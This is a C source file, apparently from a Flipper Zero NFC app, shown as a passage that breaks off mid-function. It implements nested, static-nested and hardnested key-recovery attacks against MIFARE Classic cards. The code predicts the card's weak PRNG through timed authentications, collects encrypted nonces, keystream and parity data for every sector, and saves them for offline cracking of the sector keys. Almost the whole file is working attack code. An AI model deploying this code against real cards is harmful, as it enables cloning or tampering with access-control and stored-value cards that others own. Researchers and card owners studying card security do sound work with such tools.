mifare_nested_worker.c 59 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. // possible sum property values
  13. static uint16_t sums[] =
  14. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  15. void mifare_nested_worker_change_state(
  16. MifareNestedWorker* mifare_nested_worker,
  17. MifareNestedWorkerState state) {
  18. furi_assert(mifare_nested_worker);
  19. mifare_nested_worker->state = state;
  20. }
  21. MifareNestedWorker* mifare_nested_worker_alloc() {
  22. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  23. // Worker thread attributes
  24. mifare_nested_worker->thread = furi_thread_alloc_ex(
  25. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  26. mifare_nested_worker->callback = NULL;
  27. mifare_nested_worker->context = NULL;
  28. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  29. return mifare_nested_worker;
  30. }
  31. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  32. furi_assert(mifare_nested_worker);
  33. furi_thread_free(mifare_nested_worker->thread);
  34. free(mifare_nested_worker);
  35. }
  36. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  37. furi_assert(mifare_nested_worker);
  38. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  39. furi_thread_join(mifare_nested_worker->thread);
  40. }
  41. void mifare_nested_worker_start(
  42. MifareNestedWorker* mifare_nested_worker,
  43. MifareNestedWorkerState state,
  44. NfcDeviceData* dev_data,
  45. MifareNestedWorkerCallback callback,
  46. void* context) {
  47. furi_assert(mifare_nested_worker);
  48. furi_assert(dev_data);
  49. mifare_nested_worker->callback = callback;
  50. mifare_nested_worker->context = context;
  51. mifare_nested_worker->dev_data = dev_data;
  52. mifare_nested_worker_change_state(mifare_nested_worker, state);
  53. furi_thread_start(mifare_nested_worker->thread);
  54. }
  55. int32_t mifare_nested_worker_task(void* context) {
  56. MifareNestedWorker* mifare_nested_worker = context;
  57. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  58. mifare_nested_worker_check(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  60. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  62. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  64. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  65. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  66. mifare_nested_worker_check_keys(mifare_nested_worker);
  67. }
  68. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  69. return 0;
  70. }
  71. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  72. uint8_t* uid = data->uid;
  73. uint8_t uid_len = data->uid_len;
  74. for(size_t i = 0; i < uid_len; i++) {
  75. uint8_t uid_part = uid[i];
  76. furi_string_cat_printf(string, "%02X", uid_part);
  77. }
  78. }
  79. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  80. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  81. mifare_nested_worker_write_uid_string(data, file_path);
  82. furi_string_cat_printf(file_path, ".keys");
  83. }
  84. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  85. furi_string_set(file_path, NESTED_FOLDER "/");
  86. mifare_nested_worker_write_uid_string(data, file_path);
  87. furi_string_cat_printf(file_path, ".nonces");
  88. }
  89. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  90. furi_string_set(file_path, NESTED_FOLDER "/");
  91. mifare_nested_worker_write_uid_string(data, file_path);
  92. furi_string_cat_printf(file_path, ".keys");
  93. }
  94. void mifare_nested_worker_get_hardnested_folder_path(
  95. FuriHalNfcDevData* data,
  96. FuriString* file_path) {
  97. furi_string_set(file_path, NESTED_FOLDER "/");
  98. mifare_nested_worker_write_uid_string(data, file_path);
  99. }
  100. void mifare_nested_worker_get_hardnested_file_path(
  101. FuriHalNfcDevData* data,
  102. FuriString* file_path,
  103. uint8_t sector,
  104. uint8_t key_type) {
  105. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  106. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  107. }
  108. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  109. furi_assert(sector < 40);
  110. if(sector < 32) {
  111. return (sector * 4) + 3;
  112. } else {
  113. return 32 * 4 + (sector - 32) * 16 + 15;
  114. }
  115. }
  116. static MfClassicSectorTrailer*
  117. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  118. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  119. .value;
  120. }
  121. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  122. Storage* storage = furi_record_open(RECORD_STORAGE);
  123. FuriString* temp_str = furi_string_alloc();
  124. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  125. FlipperFormat* file = flipper_format_file_alloc(storage);
  126. bool load_success = false;
  127. uint32_t sector_count = 0;
  128. do {
  129. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  130. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  131. uint32_t version = 0;
  132. if(!flipper_format_read_header(file, temp_str, &version)) break;
  133. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  134. if(version != 1) break;
  135. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  136. if(!furi_string_cmp(temp_str, "1K")) {
  137. mf_data->type = MfClassicType1k;
  138. sector_count = 16;
  139. } else if(!furi_string_cmp(temp_str, "4K")) {
  140. mf_data->type = MfClassicType4k;
  141. sector_count = 40;
  142. } else if(!furi_string_cmp(temp_str, "MINI")) {
  143. mf_data->type = MfClassicTypeMini;
  144. sector_count = 5;
  145. } else {
  146. break;
  147. }
  148. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  149. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  150. bool key_read_success = true;
  151. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  152. MfClassicSectorTrailer* sec_tr =
  153. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  154. if(FURI_BIT(mf_data->key_a_mask, i)) {
  155. furi_string_printf(temp_str, "Key A sector %d", i);
  156. key_read_success = flipper_format_read_hex(
  157. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  158. }
  159. if(!key_read_success) break;
  160. if(FURI_BIT(mf_data->key_b_mask, i)) {
  161. furi_string_printf(temp_str, "Key B sector %d", i);
  162. key_read_success = flipper_format_read_hex(
  163. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  164. }
  165. }
  166. load_success = key_read_success;
  167. } while(false);
  168. furi_string_free(temp_str);
  169. flipper_format_free(file);
  170. return load_success;
  171. }
  172. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  173. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  174. if(c <= '9') {
  175. *nibble = c - '0';
  176. } else if(c <= 'F') {
  177. *nibble = c - 'A' + 10;
  178. } else {
  179. *nibble = c - 'a' + 10;
  180. }
  181. return true;
  182. } else {
  183. return false;
  184. }
  185. }
  186. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  187. uint8_t hi_nibble_value, low_nibble_value;
  188. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  189. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  190. *value = (hi_nibble_value << 4) | low_nibble_value;
  191. return true;
  192. } else {
  193. return false;
  194. }
  195. }
  196. void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
  197. for(uint8_t sector = 0; sector < sector_count; sector++) {
  198. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  199. for(uint8_t tries = 0; tries < tries_count; tries++) {
  200. free(nonces->nonces[sector][key_type][tries]);
  201. }
  202. }
  203. }
  204. }
  205. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  206. UNUSED(ATQA1);
  207. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  208. if((SAK == 0x08 || SAK == 0x88)) {
  209. return MfClassicType1k;
  210. } else if(SAK == 0x09) {
  211. return MfClassicTypeMini;
  212. }
  213. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  214. //skylanders support
  215. return MfClassicType1k;
  216. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  217. return MfClassicType4k;
  218. }
  219. return MfClassicType1k;
  220. }
  221. uint32_t mifare_nested_worker_predict_delay(
  222. FuriHalNfcTxRxContext* tx_rx,
  223. uint8_t blockNo,
  224. uint8_t keyType,
  225. uint64_t ui64Key,
  226. uint32_t tries,
  227. MifareNestedWorker* mifare_nested_worker) {
  228. uint32_t cuid = 0;
  229. Crypto1* crypto = malloc(sizeof(Crypto1));
  230. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  231. if(tries > 25) {
  232. free(crypto);
  233. return 2; // Too many tries, fallback to hardnested
  234. }
  235. // This part of attack is my attempt to implement it on Flipper.
  236. // Check README.md for more info
  237. // First, we find RPNG rounds per 1000 us
  238. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  239. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  240. free(crypto);
  241. return 1;
  242. }
  243. nfc_activate();
  244. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  245. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  246. furi_delay_us(rtr * 1000);
  247. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  248. // Searching for delay, where PRNG will be near 800
  249. uint32_t nttmp = prng_successor(nt1, 100);
  250. for(i = 101; i < 65565; i++) {
  251. nttmp = prng_successor(nttmp, 1);
  252. if(nttmp == nt2) break;
  253. }
  254. if(!rtr) {
  255. zero_prng_value = i;
  256. }
  257. if(previous && i > previous && i != 65565) {
  258. if(!prng_delay) {
  259. prng_delay = i - previous;
  260. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  261. prng_delay += i - previous;
  262. prng_delay /= 2;
  263. }
  264. }
  265. previous = i;
  266. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  267. // Let's hope...
  268. if(i > 810 && i < 840) {
  269. free(crypto);
  270. return rtr * 1000;
  271. }
  272. }
  273. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  274. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  275. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  276. if(zero_prng_value == 65565) {
  277. free(crypto);
  278. // PRNG isn't pretictable
  279. return 1;
  280. }
  281. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  282. uint32_t limit = 7;
  283. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  284. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  285. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  286. free(crypto);
  287. return 1;
  288. }
  289. nfc_activate();
  290. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  291. uint32_t delay = rtr * 1000 + rtz * 10;
  292. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  293. furi_delay_us(delay);
  294. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  295. // Searching for delay, where PRNG will be near 800
  296. uint32_t nttmp = prng_successor(nt1, 0);
  297. for(i = 1; i < 65565; i++) {
  298. nttmp = prng_successor(nttmp, 1);
  299. if(nttmp == nt2) break;
  300. }
  301. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  302. repeat++;
  303. if(repeat < 5) {
  304. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  305. continue;
  306. }
  307. }
  308. if(i > 2000 && i < 65500) {
  309. uint32_t catch_cycles = (65565 - i) / prng_delay;
  310. if(catch_cycles > 2) {
  311. catch_cycles++;
  312. FURI_LOG_D(
  313. TAG,
  314. "Trying a more accurate value: skipping additional %lu us",
  315. catch_cycles * 1000);
  316. limit += catch_cycles + 2;
  317. rtr += catch_cycles;
  318. }
  319. }
  320. FURI_LOG_D(
  321. TAG,
  322. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  323. i,
  324. delay,
  325. (cycles_to_reset + limit) * 1000);
  326. repeat = 0;
  327. previous = i;
  328. if(i > 810 && i < 840) {
  329. free(crypto);
  330. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  331. return delay;
  332. } else if(i > 840 && i < 40000) {
  333. FURI_LOG_D(TAG, "Trying again: timing lost");
  334. tries++;
  335. free(crypto);
  336. return mifare_nested_worker_predict_delay(
  337. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  338. }
  339. }
  340. }
  341. if(i > 1000 && i < 65000) {
  342. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  343. tries++;
  344. free(crypto);
  345. return mifare_nested_worker_predict_delay(
  346. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  347. }
  348. free(crypto);
  349. return 1;
  350. }
  351. SaveNoncesResult_t* mifare_nested_worker_write_nonces(
  352. FuriHalNfcDevData* data,
  353. Storage* storage,
  354. NonceList_t* nonces,
  355. uint8_t tries_count,
  356. uint8_t free_tries_count,
  357. uint8_t sector_count,
  358. uint32_t delay,
  359. uint32_t distance) {
  360. FuriString* path = furi_string_alloc();
  361. Stream* file_stream = file_stream_alloc(storage);
  362. SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
  363. result->saved = 0;
  364. result->invalid = 0;
  365. result->skipped = 0;
  366. mifare_nested_worker_get_nonces_file_path(data, path);
  367. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  368. FuriString* header = furi_string_alloc_printf(
  369. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  370. NESTED_NONCE_FORMAT_VERSION,
  371. NESTED_RECOVER_KEYS_GITHUB_LINK);
  372. stream_write_string(file_stream, header);
  373. for(uint8_t tries = 0; tries < tries_count; tries++) {
  374. for(uint8_t sector = 0; sector < sector_count; sector++) {
  375. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  376. if(nonces->nonces[sector][key_type][tries]->invalid) {
  377. result->invalid++;
  378. } else if(nonces->nonces[sector][key_type][tries]->skipped) {
  379. result->skipped++;
  380. } else if(nonces->nonces[sector][key_type][tries]->collected) {
  381. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  382. FuriString* hardnested_path = furi_string_alloc();
  383. mifare_nested_worker_get_hardnested_file_path(
  384. data, hardnested_path, sector, key_type);
  385. FuriString* str = furi_string_alloc_printf(
  386. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  387. !key_type ? 'A' : 'B',
  388. nonces->cuid,
  389. furi_string_get_cstr(hardnested_path),
  390. sector);
  391. stream_write_string(file_stream, str);
  392. furi_string_free(hardnested_path);
  393. furi_string_free(str);
  394. } else {
  395. FuriString* str = furi_string_alloc_printf(
  396. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  397. for(uint8_t type = 0; type < 2; type++) {
  398. furi_string_cat_printf(
  399. str,
  400. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  401. type,
  402. nonces->nonces[sector][key_type][tries]->target_nt[type],
  403. type,
  404. nonces->nonces[sector][key_type][tries]->target_ks[type],
  405. type);
  406. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  407. for(uint8_t i = 0; i < 4; i++) {
  408. furi_string_cat_printf(str, "%u", par[i]);
  409. }
  410. }
  411. furi_string_cat_printf(str, " sec %u\n", sector);
  412. stream_write_string(file_stream, str);
  413. furi_string_free(str);
  414. }
  415. result->saved++;
  416. }
  417. }
  418. }
  419. }
  420. if(delay) {
  421. FuriString* str =
  422. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  423. stream_write_string(file_stream, str);
  424. furi_string_free(str);
  425. }
  426. free_nonces(nonces, sector_count, free_tries_count);
  427. file_stream_close(file_stream);
  428. free(file_stream);
  429. if(!result->saved) {
  430. FURI_LOG_E(TAG, "No nonces collected, removing file...");
  431. if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
  432. FURI_LOG_E(TAG, "Failed to remove .nonces file");
  433. }
  434. }
  435. furi_string_free(path);
  436. furi_record_close(RECORD_STORAGE);
  437. return result;
  438. }
  439. bool mifare_nested_worker_check_initial_keys(
  440. NonceList_t* nonces,
  441. MfClassicData* mf_data,
  442. uint8_t tries_count,
  443. uint8_t sector_count,
  444. uint64_t* key,
  445. uint32_t* key_block,
  446. uint32_t* found_key_type) {
  447. bool has_a_key, has_b_key;
  448. FuriHalNfcTxRxContext tx_rx = {};
  449. for(uint8_t sector = 0; sector < sector_count; sector++) {
  450. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  451. for(uint8_t tries = 0; tries < tries_count; tries++) {
  452. Nonces* info = malloc(sizeof(Nonces));
  453. info->key_type = key_type;
  454. info->block = mifare_nested_worker_get_block_by_sector(sector);
  455. info->collected = false;
  456. info->skipped = true;
  457. nonces->nonces[sector][key_type][tries] = info;
  458. }
  459. }
  460. }
  461. for(uint8_t sector = 0; sector < sector_count; sector++) {
  462. MfClassicSectorTrailer* trailer =
  463. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  464. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  465. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  466. if(has_a_key) {
  467. for(uint8_t tries = 0; tries < tries_count; tries++) {
  468. Nonces* info = nonces->nonces[sector][0][tries];
  469. info->collected = true;
  470. info->skipped = true;
  471. nonces->nonces[sector][0][tries] = info;
  472. }
  473. if(*key_block == 0) {
  474. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  475. if(nested_check_key(
  476. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  477. NestedCheckKeyValid) {
  478. *key = key_check;
  479. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  480. *found_key_type = 0;
  481. }
  482. }
  483. }
  484. if(has_b_key) {
  485. for(uint8_t tries = 0; tries < tries_count; tries++) {
  486. Nonces* info = nonces->nonces[sector][1][tries];
  487. info->collected = true;
  488. info->skipped = true;
  489. nonces->nonces[sector][1][tries] = info;
  490. }
  491. if(*key_block == 0) {
  492. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  493. if(nested_check_key(
  494. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  495. NestedCheckKeyValid) {
  496. *key = key_check;
  497. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  498. *found_key_type = 1;
  499. }
  500. }
  501. }
  502. }
  503. nonces->cuid = 0;
  504. nonces->hardnested_states = 0;
  505. nonces->sector_count = sector_count;
  506. nonces->tries = tries_count;
  507. return *key_block;
  508. }
  509. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  510. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  511. FuriHalNfcTxRxContext tx_rx = {};
  512. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  513. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  514. FuriHalNfcDevData data = {};
  515. MifareNestedNonceType type = MifareNestedNonceNoTag;
  516. nested_get_data(&data);
  517. if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
  518. for(uint8_t sector = 0; sector < 40; sector++) {
  519. if(FURI_BIT(mf_data->key_a_mask, sector) ||
  520. FURI_BIT(mf_data->key_b_mask, sector)) {
  521. type = nested_check_nonce_type(
  522. &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
  523. break;
  524. }
  525. }
  526. if(type == MifareNestedNonceNoTag) {
  527. type = nested_check_nonce_type(&tx_rx, 0);
  528. }
  529. } else {
  530. type = nested_check_nonce_type(&tx_rx, 0);
  531. }
  532. if(type == MifareNestedNonceStatic) {
  533. mifare_nested_worker->context->collecting_type =
  534. MifareNestedWorkerStateCollectingStatic;
  535. mifare_nested_worker->callback(
  536. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  537. break;
  538. } else if(type == MifareNestedNonceWeak) {
  539. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  540. mifare_nested_worker->callback(
  541. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  542. break;
  543. } else if(type == MifareNestedNonceHard) {
  544. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
  545. mifare_nested_worker->callback(
  546. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  547. break;
  548. }
  549. furi_delay_ms(250);
  550. }
  551. nfc_deactivate();
  552. }
  553. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  554. NonceList_t nonces;
  555. Storage* storage = furi_record_open(RECORD_STORAGE);
  556. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  557. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  558. FuriString* folder_path = furi_string_alloc();
  559. FuriHalNfcDevData data = {};
  560. nested_get_data(&data);
  561. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  562. uint64_t key = 0; // Found key for attack
  563. uint32_t found_key_type = 0;
  564. uint32_t key_block = 0;
  565. uint32_t sector_count = 0;
  566. FURI_LOG_I(TAG, "Running Static Nested attack");
  567. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  568. mifare_nested_worker_write_uid_string(&data, tag_info);
  569. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  570. furi_string_free(tag_info);
  571. if(type == MfClassicType4k) {
  572. sector_count = 40;
  573. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  574. } else if(type == MfClassicType1k) {
  575. sector_count = 16;
  576. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  577. } else { // if(type == MfClassicTypeMini)
  578. sector_count = 5;
  579. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  580. }
  581. furi_string_set(folder_path, NESTED_FOLDER);
  582. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  583. furi_string_free(folder_path);
  584. if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
  585. !mifare_nested_worker_check_initial_keys(
  586. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  587. mifare_nested_worker->callback(
  588. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  589. nfc_deactivate();
  590. free(mf_data);
  591. free_nonces(&nonces, sector_count, 1);
  592. return;
  593. }
  594. FURI_LOG_I(
  595. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  596. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  597. FuriHalNfcTxRxContext tx_rx = {};
  598. for(uint8_t sector = 0; sector < sector_count; sector++) {
  599. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  600. Nonces* info = nonces.nonces[sector][key_type][0];
  601. if(info->collected) {
  602. FURI_LOG_I(
  603. TAG,
  604. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  605. sector,
  606. mifare_nested_worker_get_block_by_sector(sector),
  607. key_type);
  608. info->skipped = true;
  609. nonces.nonces[sector][key_type][0] = info;
  610. mifare_nested_worker->context->nonces = &nonces;
  611. mifare_nested_worker->callback(
  612. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  613. continue;
  614. }
  615. if(!nested_check_block(
  616. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  617. FURI_LOG_E(
  618. TAG,
  619. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  620. sector,
  621. mifare_nested_worker_get_block_by_sector(sector),
  622. key_type);
  623. info->invalid = true;
  624. nonces.nonces[sector][key_type][0] = info;
  625. mifare_nested_worker->context->nonces = &nonces;
  626. mifare_nested_worker->callback(
  627. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  628. continue;
  629. }
  630. while(!info->collected) {
  631. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  632. break;
  633. }
  634. struct nonce_info_static result = nested_static_nonce_attack(
  635. &tx_rx,
  636. key_block,
  637. found_key_type,
  638. mifare_nested_worker_get_block_by_sector(sector),
  639. key_type,
  640. key);
  641. if(result.full) {
  642. FURI_LOG_I(
  643. TAG,
  644. "Accured nonces for sector %u, block %u, key_type: %u",
  645. sector,
  646. mifare_nested_worker_get_block_by_sector(sector),
  647. key_type);
  648. info = nonces.nonces[sector][key_type][0];
  649. info->collected = true;
